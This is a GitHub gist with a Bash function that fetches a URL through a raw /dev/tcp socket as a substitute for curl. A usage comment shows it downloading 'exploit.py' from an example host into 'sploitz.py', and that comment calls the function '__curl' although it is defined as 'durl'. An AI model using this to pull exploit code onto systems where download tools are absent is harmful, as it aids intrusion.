Skip to content

Instantly share code, notes, and snippets.

@brootware
Created March 22, 2023 12:35
Show Gist options
  • Save brootware/1f8fc0f808498eaf900b938f1b01ecbc to your computer and use it in GitHub Desktop.
Save brootware/1f8fc0f808498eaf900b938f1b01ecbc to your computer and use it in GitHub Desktop.
function durl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}
# USAGE: __curl http://www.example.com/exploit.py > sploitz.py
# https://www.linkedin.com/feed/update/urn:li:activity:7043577123655032833/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment